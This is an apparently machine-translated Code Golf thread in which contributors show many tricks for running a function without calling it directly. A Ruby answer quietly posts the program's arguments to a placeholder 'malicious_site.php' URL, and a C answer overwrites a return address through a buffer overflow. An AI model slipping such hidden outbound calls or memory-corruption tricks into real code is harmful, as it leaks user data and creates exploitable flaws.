Chiama un metodo senza chiamarlo [chiuso]


77

Ispirato da una domanda StackOverflow ora eliminata . Puoi trovare un modo per ottenere un particolare metodo eseguito, senza chiamarlo esplicitamente? Più è indiretto, meglio è.

Ecco cosa intendo esattamente (C usato solo per esemplificazione, tutte le lingue accettate):

// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

Domanda originale: inserisci qui la descrizione dell'immagine


58
+10471 ... bello
qwr

29
Mi chiedo di quanti rappresentanti hai bisogno per overflow dello stack overflow?
PyRulez

34
Apparentemente questa è una screencap dall'account di @Mysticial , vedendo l'avatar. Mysticial, potrebbe si prega basta cliccare sulla scheda rep?!?!?!
Maniglia della porta

4
@Doorknob Perché dovrebbe? Viene tutto da una risposta.
FDinoff

8
@PyRulez Jon Skeet non lo ha ancora fatto, quindi per ora siamo al sicuro .
Cole Johnson

Risposte:


109

C

#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

Quando compilato con GCC, il compilatore sostituisce printf("Goodbye!\n")con puts("Goodbye!"), che è più semplice e dovrebbe essere equivalente. Ho fornito di nascosto la mia putsfunzione personalizzata , in modo che venga chiamato invece.


1
@ user17752 Questa è in realtà una trasformazione che GCC fa anche a -O0. (GCC 4.8, comunque. Forse altre versioni hanno bisogno di alcune altre opzioni.)
hvd

1
scusa, errore mio, ho dimenticato che stavo usando clang sul mio macbook.
DarkHeart

@ user17752 Grazie, non avevo provato con altri compilatori, è bello sapere che almeno Clang ha un'opzione per ottenere la stessa trasformazione.
hvd,

Complimenti! Un vincitore sei tu!

84

Bene, in che modo il malware è in grado di eseguire funzioni che non sono chiamate nel codice? Traboccando di buffer!

#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

Nel mio sistema, l'indirizzo di ritorno di mainsembra essere memorizzato 3 parole sopra la prima variabile locale. Mescolando quell'indirizzo di ritorno con l'indirizzo di un'altra funzione, main"ritorna" a quella funzione. Se si desidera riprodurre questo comportamento su un altro sistema, potrebbe essere necessario modificare 3 su un altro valore.


Beat me to it (+1) - questa è la soluzione C ovvia.
Comintern

20
Usa <!-- language: lang-c -->due righe prima del codice per evidenziarlo.
Victor Stafusa

9
Tutti grandine @Victor, eroe di evidenziazione della sintassi!
Jason C

@Victor è questo ufficialmente documentato? Se si, dove?
Thorbjørn Ravn Andersen,


75

bash

#!/bin/bash

function command_not_found_handle () {
    echo "Who called me?"
}

Does this look like a function call to you?

8
La gestione delle eccezioni. L'altro metodo chiama!
phyrfox il

56

Python 2

>>> def func(*args):
        print('somebody called me?')

Ecco alcuni modi ispirati dalle altre risposte:

  1. eseguendo direttamente il codice

    >>> exec(func.func_code) # just the code, not a call
    somebody called me?
    

    Questo è il modo migliore per non chiamare la funzione.

  2. usando il distruttore

    >>> class X(object):pass
    >>> x = X()
    >>> X.__del__ = func # let  the garbage collector do the call
    >>> del x
    somebody called me?
    
  3. Utilizzo dell'I / O standard

    >>> x.write = func # from above
    >>> import sys
    >>> a = sys.stderr
    >>> sys.stderr = x
    >>> asdjkadjls
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    >>> sys.stderr = a # back to normality
    
  4. utilizzando le ricerche degli attributi

    >>> x = X() # from above
    >>> x.__get__ = func
    >>> X.x = x
    >>> x.x # __get__ of class attributes
    somebody called me?
    <__main__.X object at 0x02BB1510>
    >>> X.__getattr__ = func
    >>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
    somebody called me?
    >>> X.__getattribute__ = func
    >>> x.__class__ # any attribute
    somebody called me?
    
  5. Il meccanismo di importazione

    >>> __builtins__.__import__ = func
    >>> import os # important module!
    somebody called me?
    >>> os is None
    True
    

    Beh, suppongo che sia tutto .. Non posso importare nulla ora. Non aspettare..

  6. Utilizzo delle parentesi get-item []

    >>> class Y(dict): pass
    >>> Y.__getitem__ = func
    >>> d = Y()
    >>> d[1] # that is easy
    somebody called me?
    
  7. Utilizzando variabili globali. Il mio preferito!

    >>> exec "hello;hello" in d # from above
    somebody called me?
    somebody called me?
    

    helloè un accesso a d['hello']. Dopo questo il mondo sembra grigio.

  8. Metaclassi;)

    >>> class T(type): pass
    >>> T.__init__ = func
    >>> class A:
        __metaclass__ = T
    somebody called me?
    
  9. Uso degli iteratori (puoi sovraccaricare qualsiasi operatore e utilizzarlo)

    >>> class X(object): pass
    >>> x = X()
    >>> X.__iter__ = func
    >>> for i in x: pass # only once with error
    somebody called me?
    
    >>> X.__iter__ = lambda a: x 
    >>> X.next = func
    >>> for i in x: pass # endlessly!
    somebody called me?
    somebody called me?
    somebody called me?
    ...
    
  10. Errori!

    >>> class Exc(Exception):__init__ = func
    >>> raise Exc # removed in Python 3
    somebody called me?
    
  11. I frame ti richiamano. Quasi tutte le GUI hanno questa funzionalità.

    >>> import Tkinter
    >>> t = Tkinter.Tk()
    >>> t.after(0, func) # or QTimer.singleShot(1000, func)
    >>> t.update()
    somebody called me?
    
  12. Eseguire la stringa di origine (func deve essere in un file)

    >>> import linecache
    >>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
    somebody called me?
    
  13. decoratori

    >>> @func
    def nothing():pass
    sombody called me?
    
  14. con deserializzazione di sottaceti (meno favoriti in arrivo)

    >>> import pickle # serialization
    >>> def __reduce__(self):
        return func, ()
    >>> X.__reduce__ = __reduce__
    >>> x = X()
    >>> s = pickle.dumps(x)
    >>> pickle.loads(s) # this is a call but it is hidden somewhere else
    somebody called me?
    
  15. Utilizzando la serializzazione

    >>> import copy_reg
    >>> copy_reg.pickle(X, func)
    >>> pickle.dumps(x) # again a hidden call
    somebody called me?
    

Altre risposte a Python:


1
Bella collezione, ma hai dimenticato le discussioni . ;)
nyuszika7h

Questa risposta è assurda. +1
asteri,

Questo è python 3
Braden Best

1
Molti di questi esempi funzionano anche con Python 3. La meta-classe mostrata e il rilancio delle eccezioni non funzionano in Python 3.
Utente

22

Javascript

Questo usa JSFuck per fare il lavoro sporco.

function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

54
Penso che questo si qualifichi come una chiamata di funzione esplicita. Solo molto offuscata.
primo

3
@primo, costruirà una stringa di javascript da eseguire e acquisirà l'oggetto Function con cui chiamarlo. Ma per fare ciò, utilizza conversioni implicite tra tipi; es. ""è una stringa e []restituisce 0, quindi ""[[]]non è definito ed ""[[]]+""è "non definito". Da lì puoi estrarre singole lettere: (""[[]]+"")[[]]è "u". Quindi è più come un trucco chiamare exec con un codice arbitrario. Penso che conta?
Phil H

1
@PhilH Capisco come funziona. Rimuovere gli ultimi due parentesi: function anonymous() { x() }.
primo

22

Pitone

import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

Questo imposta the_functioncome funzione di profilazione, provocando l'esecuzione su ogni chiamata di funzione e ritorno.

>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

Questo è Python?
Hosch250,

@ user2509848 Sì, ho dimenticato di menzionarlo.
GRC

Una risposta non-C! Mi piacerebbe vedere di più: D

@Johnsyweb Vedi meta.codegolf.stackexchange.com/q/1109/9498 . Non è necessario modificare ogni singolo post per includere l'evidenziazione della sintassi, soprattutto se influisce a malapena sull'aspetto del codice (ad es. Codice funzione).
Giustino

@Quincunx: riconosciuto ☻
Johnsyweb

18

C #

Possiamo abusare del DLR per eseguire sempre del codice ogni volta che provi a chiamare qualsiasi metodo su una classe. Questo è leggermente meno economico / ovvio rispetto a soluzioni come delegati, riflessioni, costruttori statici, ecc., Poiché il metodo in esecuzione non solo non viene mai invocato, ma nemmeno menzionato , nemmeno con il suo nome.

void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

Questo stampa sempre "Ah! Ingannati!" non importa cosa cerchi di invocare a. Quindi potrei scrivere altrettanto facilmente a.SuperCaliFragilisticExpiAlidocious()e farebbe la stessa cosa.


17

GNU C

#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

Questo è molto diretto, ma non è certamente una chiamata a hello_world, anche se la funzione viene eseguita.


16

Rubino

Ispirato da Wat .

require 'net/http'

def method_missing(*args) 
    # some odd code        
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

15

C

È possibile registrare una funzione da chiamare alla fine del programma in C, se si adatta alle proprie esigenze:

#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

15

Giava

Ho provato questo con Java:

import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

Il metodo secretMethodNotCalledInMainè chiamato solo dalla riflessione e non sto cercando nulla chiamato secretMethodNotCalledInMain(invece sto cercando qualcosa non chiamato main). Inoltre, la parte riflettente del codice viene chiamata al di fuori del mainmetodo quando interviene il gestore di eccezioni non rilevate del JDK.

Ecco le mie informazioni JVM:

C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

Ecco l'output del mio programma:

Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

Non mi aspettavo che quei messaggi NullPointerExceptionlanciati dal codice nativo gestissero la riflessione. Ma, come menzionato da @ johnchen902 ciò è dovuto al fatto che eredita alcuni metodi java.lang.Objecte ho finito per chiamarli su nulls.


Quelli NPEnon sono bug JDK. Vengono lanciati perché si è tentato di invocare metodi di istanza dichiarati in java.lang.Objectad esempio toString()con null.
johnchen902,

@ johnchen902 Oh, certo. Grazie. L'ho modificato.
Victor Stafusa

14

C ++

Un modo in C ++ è nel costruttore e / o distruttore di un oggetto statico:

struct foo { 
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

1
Ho anche pensato di sovraccaricare il nuovo ed eliminare , ma penso che siano sufficienti tre risposte :)
fredoverflow

Costruttori / distruttori sono considerati "metodi" in C ++? In .NET e Java sono in realtà un tipo di membro diverso. Non puoi chiamare direttamente un ctor statico, anche se vuoi ...
Aaronaught

@Aaronaught: Nulla è considerato un "metodo" in C ++ (almeno da chiunque sappia di cosa stanno parlando). Costruttori e distruttori sono funzioni membro. Sono funzioni membro "speciali" (ad esempio, i costruttori non hanno nomi, quindi non è possibile invocarli direttamente).
Jerry Coffin

Bene, ho usato quel termine solo perché l'OP ha fatto. So che C / C ++ e quasi tutti gli altri linguaggi non Java / .NET hanno funzioni, non metodi. Ma il punto saliente è che non possono essere invocati direttamente. Si potrebbe obiettare che un costruttore di istanze è tecnicamente direttamente invocato new, e quindi sarebbe una risposta interessante avere un modo per invocarne uno senza new . Ma non lo so, i costruttori statici sembrano un po 'imbroglioni.
Aaronaught il

@Aaronaught Se vuoi chiamare un costruttore su un pezzo di memoria già allocato, puoi scrivere new (p) foo(). E puoi distruggere un oggetto senza rilasciare la memoria tramite p->~foo().
Fredoverflow

12

C: Ciao mondo

#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

Produzione:

Hello World!

Per collegare il metodo, abbiamo bisogno di compilare printf () da qualche parte nel programma, ma non deve essere effettivamente chiamato. Le funzioni printf () e main () si trovano a 276 byte l'una dall'altra nel segmento di codice. Questo valore cambierà in base al sistema operativo e al compilatore. Puoi trovare gli indirizzi reali sul tuo sistema con questo codice e poi sottrarli:

printf("%d %d\n", &printf, &main);

4
Il *prima mainè davvero confuso e inutile. mainè una funzione che non è possibile dereferenziare, quindi si riduce implicitamente a un puntatore a funzione che viene quindi dedotto per restituire una funzione. Non è possibile sottrarre un int da una funzione, quindi decade nuovamente in un puntatore a funzione. Potresti anche scrivere (*****main-276);) Probabilmente intendevi scrivere (&main-276)o (*(main-276))invece.
Fredoverflow

6
The * before main is really confusing and unnecessary.- Non è generalmente una buona cosa su questo sito?
James Webster,

Avevo l'impressione che lo standard dicesse che un programma ben strutturato non lo userà main, ma non lo trova ora ...
Damon

3
lo chiami esplicitamente per riferimento offuscato
Nowayz,

9

C (con GCC inline asm)

#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

Ciò farà sì che un po 'di codice emesso da GCC finisca in un diverso segmento del file oggetto, facendo sì che il flusso di controllo "cada" nella funzione. Si noti che questo non funziona se GCC decide di riordinare le funzioni, ovviamente. Testato con GCC 3.4.6 su MirBSD-current / i386, utilizzando -O2. (Inoltre, interrompe il debug, compilando con -gerrori ☺)


8

PHP ≥5,4,0

Questa soluzione è certamente un disastro orrendo, ma svolge il compito che le è stato assegnato (non è stato stabilito quanto bene debba eseguire).

La funzione da chiamare senza chiamare :

function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

La soluzione :

function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

Esempio :

//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

Possibili uscite:

6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

Spiegazione :

Quando viene chiamato, executeFunction()leggerà il contenuto del file attualmente in esecuzione (il che significa che deve essere eseguito solo dalla CLI, mentre lo utilizza $argv), analizza gli argomenti e il corpo della funzione specificata, rompi tutto insieme in un nuovo blocco di codice, eval()tutto e restituisce il risultato. Il risultato è che getRandomString()non viene mai effettivamente chiamato, né direttamente né indirettamente, ma il codice nel corpo della funzione viene comunque eseguito.


Bene, la creazione del __construct()metodo conta in PHP poiché non si chiama mai direttamente la funzione, ma si usa new Something()invece?
Damir Kasipovic

@ D.Kasipovic Tipo, si potrebbe obiettare che lo stai ancora invocando direttamente, solo in un modo diverso. Ho scelto il mio approccio attuale perché mi piace pensare fuori dagli schemi. Avrei potuto appena registrato la funzione di callback per register_tick_function(), register_shutdown_function()o spl_autoload_register()simile alla risposta Python @ di GRC, ma mi sento come questa e 'barare' e prendendo la via più facile.
Tony Ellis,


7

T-SQL

È una funzionalità integrata. Trigger per la vittoria!

Se vuoi davvero divertirti, crea un gruppo di trigger INSTEAD OF il primo di aprile.

CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

risultati:

|          GREETING |
|-------------------|
| Hello, Code Golf! |

Scherzo. Tale lulz. Wow.

Armeggialo su SQLFiddle.


2
I trigger mi ottengono sempre, come sviluppatore di applicazioni, non me li aspetto mai.
Matteo

7

JavaScript

Nella console di Firefox:

    this.toString = function(){alert('Wow')};

Quindi inizia a digitare qualsiasi cosa nella console: Firefox chiama .toString()più volte quando digiti nella console.

Approccio simile è:

    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

6

C

La piattaforma preferita è Linux. Non possiamo chiamare la nostra funzione, quindi dovremo farlo dal nostro linker:

#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

Come ottenere l'indirizzo magico?

Facciamo affidamento sulla specifica base standard Linux standard, che dice:

.fini_array

Questa sezione contiene un array di puntatori a funzione che contribuisce a un singolo array di terminazione per l'oggetto eseguibile o condiviso contenente la sezione.

  1. Compila il codice:

    gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly

  2. Esamina l'indirizzo di .fini_array:

    objdump -h -j .fini_array but_for_what_reason_exactly

  3. Trova il VMA di esso:

 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

e sostituisci quel valore per ADDRESS.


5

VB6 e VBA

